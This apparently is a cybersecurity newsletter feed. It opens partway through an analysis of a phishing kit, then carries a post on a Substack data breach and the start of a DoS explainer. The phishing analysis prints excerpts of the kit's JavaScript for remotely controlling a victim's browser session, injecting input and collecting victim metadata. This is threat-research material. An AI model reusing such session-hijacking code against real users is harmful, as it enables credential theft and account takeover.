});</code></code></pre><h4><strong>Control State Management:</strong></h4><p>When the admin clicks the &#8220;interact&#8221; button:</p><ol><li><p>A confirmation is sent to the server indicating admin control has begun</p></li><li><p>The <code>is_Admin</code> flag is temporarily set to <code>false</code> to enable victim-like behavior</p></li><li><p>Input overlays for the active session become visible and focusable</p></li><li><p>All admin keyboard and mouse input is forwarded to the victim session</p></li></ol><p>This mode allows the admin to fill out forms, click buttons, and navigate the victim&#8217;s browser as if directly controlling it. The victim sees these actions happen in real time but has no indication they are admin-initiated rather than organic user behavior.</p><h3>Input Synchronization</h3><pre><code><code>async function handleInputChangeEvent(event) {
    let value = event.target.value;
    const wrapper = event.target.parentElement;
    
    if (!socket || socket.readyState !== WebSocket.OPEN) return;
    
    socket_send({
        type: 'keyInputChange',
        value: value,
        id: wrapper.dataset.inputId,
        iframe_index: wrapper.dataset.iframeIndex,
        original_type: wrapper.dataset.originalType,
    });
}</code></code></pre><p>Every character typed into an admin-controlled overlay triggers an immediate WebSocket message. The server receives the new value and injects it into the victim&#8217;s actual input field.</p><p>This creates bidirectional synchronization: when the victim types, the admin sees it in the overlay. When the admin types, the victim sees it in their form field. Neither party knows the other is interacting with the same field.</p><h3>Navigation and Browser Control</h3><p>Beyond form input, the admin can directly control browser navigation and page interaction.</p><h3>Navigation Commands</h3><pre><code><code>nav_back_btn.addEventListener('click', function () {
    socket_send({
        type: 'navigation',
        action: 'back'
    });
});

nav_forward_btn.addEventListener('click', function () {
    socket_send({
        type: 'navigation',
        action: 'forward'
    });
});

nav_refresh_btn.addEventListener('click', function () {
    socket_send({
        type: 'navigation',
        action: 'refresh'
    });
});</code></code></pre><p>These controls allow the admin to:</p><ul><li><p>Navigate backward through the victim&#8217;s browser history</p></li><li><p>Navigate forward if the victim has gone back</p></li><li><p>Force a page refresh</p></li></ul><p>The victim experiences these as normal browser actions with no indication they were remotely triggered.</p><h3>Mouse and Keyboard Injection</h3><pre><code><code>function handleMouseDown(event) {
    const coords = convertCoordinates(event.clientX, event.clientY);
    
    socket_send({
        type: 'mousedown',
        x: coords.x,
        y: coords.y,
        button: 0,
        clickCount: 1
    });
}

function handleKeyDown(event) {
    socket_send({
        type: 'keydown',
        key: event.key,
        code: event.code,
        keyCode: event.keyCode,
        modifiers: getModifiers(event),
    });
}</code></code></pre><p>Every mouse movement, click, and keyboard press from the admin is serialized and transmitted to the victim&#8217;s browser, where it is replayed as a synthetic event. The victim&#8217;s page responds exactly as if the user had performed the action locally.</p><h3>Metadata Collection and Monitoring</h3><p>The admin interface collects and displays comprehensive metadata about each victim session.</p><h3>Real-Time Metadata Display</h3><pre><code><code>function updateMetadataDisplay(metaData) {
    if (!enable_metadata_display) return;

    let gridContainer = tabContent.querySelector('.metadata-grid');

    if (!gridContainer) {
        tabContent.innerHTML = `
            &lt;div class="metadata-container"&gt;
                &lt;h3&gt;&lt;i class="fas fa-info-circle"&gt;&lt;/i&gt; Session Metadata&lt;/h3&gt;
                &lt;div class="metadata-grid"&gt;&lt;/div&gt;
            &lt;/div&gt;
        `;
        gridContainer = tabContent.querySelector('.metadata-grid');
    }

    const displayedKeys = new Set(
        Array.from(gridContainer.querySelectorAll('.metadata-item'))
            .map(el =&gt; el.dataset.key)
    );

    for (const [key, value] of Object.entries(metaData)) {
        if (excludedKeys.includes(key) || value === null || value === undefined) {
            continue;
        }

        displayedKeys.delete(key);
        const displayValue = typeof value === 'object' ? 
            JSON.stringify(value, null, 2) : String(value);

        let itemElement = gridContainer.querySelector(
            `.metadata-item[data-key="${key}"]`
        );

        if (itemElement) {
            const valueSpan = itemElement.querySelector('.metadata-value');
            if (valueSpan &amp;&amp; valueSpan.textContent !== displayValue) {
                valueSpan.textContent = displayValue;
                itemElement.classList.add('highlight-update');
                setTimeout(() =&gt; 
                    itemElement.classList.remove('highlight-update'), 1500
                );
            }
        } else {
            const newItem = document.createElement('div');
            newItem.className = 'metadata-item';
            newItem.dataset.key = key;
            newItem.innerHTML = `
                &lt;span class="metadata-key"&gt;${formatKey(key)}:&lt;/span&gt;
                &lt;span class="metadata-value"&gt;${displayValue}&lt;/span&gt;
            `;
            gridContainer.appendChild(newItem);
        }
    }

    for (const keyToRemove of displayedKeys) {
        const elementToRemove = gridContainer.querySelector(
            `.metadata-item[data-key="${keyToRemove}"]`
        );
        if (elementToRemove) {
            gridContainer.removeChild(elementToRemove);
        }
    }
}</code></code></pre><h4><strong>Displayed Information:</strong></h4><p>The metadata panel shows real-time information about the victim including:</p><ul><li><p>IP address and geolocation (city, region, country, coordinates)</p></li><li><p>ISP and network organization</p></li><li><p>Browser user agent and platform details</p></li><li><p>GPU vendor and renderer information</p></li><li><p>Screen resolution and timezone</p></li><li><p>Operating system version</p></li><li><p>Color scheme preference</p></li></ul><p>Values update dynamically as the victim&#8217;s session state changes. Visual highlighting briefly indicates which fields have been modified, allowing the admin to notice state changes at a glance.</p><h3>Hidden Admin Debugging Console</h3><p><strong>Secret Keyboard Activation:</strong> Beyond the standard admin interface, the page contains a completely hidden debugging console activated through an undocumented keyboard shortcut:</p><pre><code><code>document.addEventListener('keydown', (e) =&gt; {
    if (e.ctrlKey &amp;&amp; e.altKey &amp;&amp; e.shiftKey &amp;&amp; e.key === 'D') {
        e.preventDefault();
        createAdminPanel();
        adminPanel.style.display = adminPanel.style.display === 'none' ? 
            'block' : 'none';
        
        if (window._adminLogMetadata) {
            addLog(window._adminLogMetadata);
        }
        
        updateLogDisplay();
    }
});</code></code></pre><p>Pressing <strong>Ctrl+Alt+Shift+D</strong> reveals a draggable console panel that logs all metadata updates, WebSocket messages, and system events. This panel is styled to look like a terminal interface and includes export functionality to save logs as JSON.</p><p>The console automatically captures and stores the last 50 log entries, allowing an admin to review session history even after events have passed. Each entry is timestamped and formatted for readability.</p><div><hr></div><h3>Evidence of &#8220;Vibe Coding&#8221;</h3><p>One of the most striking characteristics of the admin code is the presence of extremely detailed, tutorial-style comments throughout the source. </p><p>These comments are visible to anyone inspecting the page source and provide step-by-step explanations of how the attack infrastructure works.</p><p>This coding style suggests the code was either:</p><ul><li><p><strong>Generated using AI assistants</strong> like ChatGPT or Claude, which produce verbose explanatory comments</p></li><li><p><strong>Developed by inexperienced programmers</strong> who needed extensive documentation</p></li><li><p><strong>Purchased from a phishing kit service</strong> that provides documented code for customers</p></li><li><p><strong>Copied from tutorial resources</strong> and adapted for this specific campaign</p></li></ul><h4>Admin Activation Instructions in Comments</h4><p>The code literally includes instructions on how to activate admin mode:</p><pre><code><code>// Hidden admin logging - Press Ctrl+Shift+L to toggle
window._adminLogMetadata = meta_data; // Store for admin panel</code></code></pre><p><strong>Later in the code:</strong></p><pre><code><code>// Secret key combination: Ctrl+Alt+Shift+D
document.addEventListener('keydown', (e) =&gt; {
    if (e.ctrlKey &amp;&amp; e.altKey &amp;&amp; e.shiftKey &amp;&amp; e.key === 'D') {</code></code></pre><p><strong>Why This Is Unusual: </strong>Production malware typically contains minimal comments to reduce file size and avoid revealing operational details. Including the exact keyboard shortcut needed to activate hidden functionality is equivalent to leaving the instruction manual inside the attack code itself.</p><h4>Tutorial-Style Function Explanations</h4><p>Throughout the code, functions include verbose explanations of their purpose and behavior:</p><pre><code><code>// Safe JSON stringify with circular reference protection
function safeStringify(obj, maxDepth = 5) {
    const seen = new WeakSet();

    function recurse(value, depth) {
        if (depth &gt; maxDepth) return '[Max depth reached]';
        if (value === null) return 'null';
        if (typeof value === 'function') return '[Function]';
        if (typeof value !== 'object') return JSON.stringify(value);

        if (seen.has(value)) return '[Circular]';
        seen.add(value);
        // ... continues with detailed implementation
    }

    return recurse(obj, 0);
}</code></code></pre><p>And elsewhere:</p><pre><code><code>// Queue control functions
function pauseQueue() {
    pipe.pause();
    if (queueTimer) {
        clearTimeout(queueTimer);
        queueTimer = null;
    }
}

function playQueue() {
    pipe.play();
    processQueue(); // Resume processing
}</code></code></pre><p><strong>Educational Tone: </strong>These comments read like programming tutorials rather than production code. They explain <strong>what</strong> the function does, <strong>why</strong> it exists, and <strong>how</strong> it integrates with the broader system.</p><p>Typical malware uses terse or absent comments to make reverse engineering more difficult. This code does the opposite, providing a guided tour of the attack infrastructure.</p><h4>Why &#8220;Vibe Coding&#8221; Matters for Attribution</h4><p>The presence of AI-generated artifacts and tutorial-style documentation provides strong evidence that this campaign was built using AI coding assistants rather than developed entirely by experienced programmers.</p><h4>Key Indicators:</h4><ol><li><p><strong>Inconsistent Code Quality</strong>: Some sections are sophisticated (encryption, queue management) while others are basic (simple string concatenation, inline styles)</p></li><li><p><strong>Over-Documentation</strong>: Comments explain obvious functionality in excessive detail</p></li><li><p><strong>Educational Tone</strong>: Code reads like a teaching resource, not a production tool</p></li><li><p><strong>Debug Code in Production</strong>: Helper functions for development remain active</p></li></ol><h4>Implications:</h4><p><strong>This suggests the operators:</strong></p><ul><li><p>May have limited programming expertise and relied on AI to generate complex features</p></li><li><p>Did not properly audit and clean the generated code before deployment</p></li><li><p>Prioritized rapid development over operational security</p></li><li><p>May be using a phishing kit that provides &#8220;documented code&#8221; for less technical customers</p></li></ul><p>The verbose commenting actually aids security researchers by documenting the attack infrastructure in the attacker&#8217;s own code. </p><p>What may have been intended to help less technical operators understand the system has instead created a comprehensive self-documenting manual for defenders analyzing the operation.</p><div><hr></div><h2>Overall Score:</h2><ul><li><p><strong>Anonymity</strong> - 10 / 10 - The visible artifacts point to throwaway accounts and short&#8209;lived infrastructure. Domains and services are shielded behind privacy services and proxies, leaving no direct link to a real&#8209;world identity.</p></li><li><p><strong>Detection Evasion</strong> - 10 / 10 - The campaign relies heavily on cloud platforms and dynamic delivery. This blends traffic into normal web activity and avoids many static indicators used by security tooling.</p></li><li><p><strong>Anti&#8209;Analysis</strong> - 3 / 10 - Some basic fingerprinting and bot checks are present, but they are limited and misconfigured. Network requests and source logic were still observable, and there was no strong effort to actively block basic manual analysis.</p></li><li><p><strong>Lure</strong> - 10 / 10 - The initial lure is convincing and well chosen. Using a business email compromise context provides a realistic reason for urgency and user compliance.</p></li><li><p><strong>Phishing Page</strong> - 10 / 10 - The login flow closely mirrors a real Google authentication page and is proxied through attacker&#8209;controlled infrastructure. Credentials and session tokens are captured in real time.</p></li><li><p><strong>Infrastructure &#8211; 6/10:</strong> The overall setup is functional, but some control endpoints and configuration files must be exposed for the kit to operate. In other cases, misconfigurations expose sensitive components, including domain lists, proxy lists, and other mission&#8209;critical files.</p></li></ul><h4>Score Summary</h4><p>Overall, the attacker prioritized anonymity and delivery over hardening internal control systems.  Cloud services and layered obfuscation reduce traceability, but certain elements of the infrastructure have to remain reachable and cannot be fully hidden. The codebase shows iterative development and rapid changes, with leftover comments and unused logic. These are not necessarily errors, they could be constraints of operating an active campaign.</p>]]></content:encoded></item><item><title><![CDATA[Substack Confirms Data Breach - Is Your Info Protected?]]></title><description><![CDATA[Substack has confirmed a data breach affecting user data.]]></description><link>https://darkmarc.substack.com/p/substack-confirms-data-breach-is</link><guid isPermaLink="false">https://darkmarc.substack.com/p/substack-confirms-data-breach-is</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Thu, 05 Feb 2026 17:20:30 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/d5f1a6e7-8d8d-4a44-8077-73af4db85973_460x240.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Substack has <a href="https://techcrunch.com/2026/02/05/substack-confirms-data-breach-affecting-email-addresses-and-phone-numbers/">confirmed a data breach</a> affecting user data</strong>.</p><p>According to the company, an unauthorized third party accessed its systems in October 2025 and obtained user email addresses, phone numbers, and internal metadata. The breach was only discovered months later, in February 2026. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Bxly!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Bxly!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp 424w, https://substackcdn.com/image/fetch/$s_!Bxly!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp 848w, https://substackcdn.com/image/fetch/$s_!Bxly!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp 1272w, https://substackcdn.com/image/fetch/$s_!Bxly!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Bxly!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp" width="1456" height="655" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:655,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:259982,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/webp&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186997401?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Bxly!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp 424w, https://substackcdn.com/image/fetch/$s_!Bxly!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp 848w, https://substackcdn.com/image/fetch/$s_!Bxly!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp 1272w, https://substackcdn.com/image/fetch/$s_!Bxly!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31a3933c-53d0-4955-bc3b-64fee9ba4a49_2421x1089.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Substack says passwords, credit card numbers, and financial information were not affected, but the company has not disclosed how many users were impacted, what vulnerability was exploited, or why detection took so long.</p><div><hr></div><h2>Why Exposed Emails Are Dangerous</h2><p>Your email address is the backbone of your online identity.</p><p>Most people reuse the same email and password across a variety of services. When one site leaks credentials, attackers automatically try that same email and password combination across hundreds of other platforms. This works because reuse is extremely common and trivial to automate.</p><p>Even when only an email is exposed, attackers can pivot. Emails are routinely searched in breach databases that aggregate years of past leaks. Those databases often reveal other accounts tied to the same email and sometimes old passwords used elsewhere. From there, attackers attempt logins, abuse password resets, send targeted phishing, or move toward extortion.</p><p>This is how a single breach turns into many compromised accounts.</p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;c197447f-9f09-4eb5-9647-9238658bbe09&quot;,&quot;caption&quot;:&quot;Your info is out there. Whether it&#8217;s your email, passwords, or even sensitive financial details, chances are, some of your personal data has already been exposed in a breach. Hackers trade, sell, and leak stolen information daily, fueling identity theft, scams, and cyberattacks.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;Hackers Are Leaking Your Data Online: Here&#8217;s How to Stay Safe&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-01-31T08:44:51.251Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14906795-57b6-49b9-b91b-8bc0c9f1904e_1624x1146.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/hackers-are-leaking-your-data-online&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:156152148,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:13,&quot;comment_count&quot;:1,&quot;publication_id&quot;:3940081,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><div><hr></div><h2>How to Protect Yourself Going Forward</h2><h3>Never Reuse Passwords</h3><p>Do not reuse passwords. Ever.</p><p>If one service is breached and you reused a password, attackers can immediately try it everywhere else. This remains one of the most common causes of account takeover.</p><p>Use a password manager to generate and store a unique password for every site.</p><p><strong>Recommended options:</strong></p><ul><li><p><a href="https://1password.com">1Password</a></p></li><li><p><a href="https://bitwarden.com">Bitwarden</a></p></li><li><p><a href="https://nordpass.com/password-manager/special/">NordPass Password Manager</a></p></li></ul><p>A password manager makes strong, unique passwords the default instead of an extra chore. You only need to remember one master password, and it gives you access to a vault of long, unique passwords for every site you use.</p><div><hr></div><h3>Never Reuse Email Addresses Across Most Accounts</h3><p>Reusing the same email address across most of your accounts makes it easy for attackers to map your entire digital footprint after a breach.</p><p>Once your email is exposed, attackers search it across breach databases and public data sets. This often reveals many other services tied to that email and sometimes old passwords from previous leaks. From there, attackers target password resets, send highly convincing phishing emails, or attempt account recovery attacks.</p><p>This problem is not limited to high value accounts. Low importance accounts like forums, newsletters, and social platforms are often the weakest link. They expose usernames, interests, and behavior patterns that attackers use to move toward more valuable accounts.</p><p>The correct mental model is to treat email addresses like passwords. Most accounts should get a unique one.</p><p>Email aliases make this practical. ProtonMail is a strong option.</p><p><a href="https://proton.me/mail">ProtonMail</a> supports unlimited email aliases using their forwarding domain <code>passmail.net</code>, allowing you to create a unique address for every service. All aliases deliver to your main inbox, so management stays simple.</p><p><strong>For example:</strong></p><ul><li><p>substack123@passmail.net</p></li><li><p>shopping123@passmail.net</p></li><li><p>forum123@passmail.net</p></li></ul><p>To the outside world, these are completely separate addresses. </p><p>If one alias is leaked, attackers cannot use it to discover your other accounts or your primary email. If an alias starts receiving spam or phishing, you can disable it without breaking anything else.</p><div><hr></div><h2>Data Breaches Are Inevitable</h2><p>Breaches are inevitable. Credential reuse is what turns them into cascading failures.</p><p>Unique passwords and unique email addresses isolate damage and prevent a single incident from becoming a full account takeover chain. Stay safe out there!</p><p><em><strong>If you found this guide helpful, please share.</strong></em></p><div><hr></div><h3>Update: Substack Responds to Information Request</h3><p>I reached out to Substack directly asking whether &#8220;User IDs&#8221; are internal database identifiers (UUIDs) or something more sensitive like login credentials.</p><p><strong>Their response confirmed that:</strong></p><ul><li><p>Credit card numbers, passwords, and financial information were NOT accessed.</p></li><li><p>They have fixed the system vulnerability that allowed the breach.</p></li><li><p>The breach occurred in October 2025.</p></li><li><p>Impacted users received a message informing them of the incident; if they did not receive a notice, their data was not impacted.</p></li></ul><p>They didn&#8217;t specifically address what &#8220;User IDs&#8221; actually are. The reply mentioned &#8220;other internal metadata&#8221; was accessed, which likely includes these User IDs, but provided no technical clarification on what that means.</p><p>It sounds like these are likely internal database identifiers (non-sensitive technical metadata), not usernames or login credentials, but Substack hasn&#8217;t confirmed that explicitly.</p>]]></content:encoded></item><item><title><![CDATA[Denial of Service Attacks (DoS / DDoS)]]></title><description><![CDATA[Denial of Service (DoS) attacks aim to make a website, application, or network unavailable to legitimate users by overwhelming it with malicious traffic or requests.]]></description><link>https://darkmarc.substack.com/p/denial-of-service-attacks-dos-ddos</link><guid isPermaLink="false">https://darkmarc.substack.com/p/denial-of-service-attacks-dos-ddos</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Thu, 29 Jan 2026 23:33:43 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!XwOd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Denial of Service (DoS) attacks</strong> aim to make a website, application, or network unavailable to legitimate users by overwhelming it with malicious traffic or requests. </p><p>When these attacks come from multiple sources simultaneously, they&#8217;re called Distributed Denial of Service (DDoS) attacks, making them far more powerful and harder to defend against.</p><div><hr></div><h2>Types of Denial of Service Attacks</h2><p>DoS and DDoS attacks can be classified into three main categories based on what they target and how they operate. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!XwOd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!XwOd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png 424w, https://substackcdn.com/image/fetch/$s_!XwOd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png 848w, https://substackcdn.com/image/fetch/$s_!XwOd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!XwOd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!XwOd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png" width="1456" height="971" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:971,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:769658,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186247366?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!XwOd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png 424w, https://substackcdn.com/image/fetch/$s_!XwOd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png 848w, https://substackcdn.com/image/fetch/$s_!XwOd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!XwOd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Each category exploits different vulnerabilities in network infrastructure, requiring distinct defensive strategies. Understanding these categories is essential for both attackers (in ethical contexts) and defenders.</p><div><hr></div><h3>1. Volumetric Attacks (Bandwidth Exhaustion)</h3><p>Volumetric attacks are the most straightforward type of DoS attack. The goal is simple: flood network connections with so much data that legitimate traffic cannot get through. This doesn&#8217;t require sophistication, just the ability 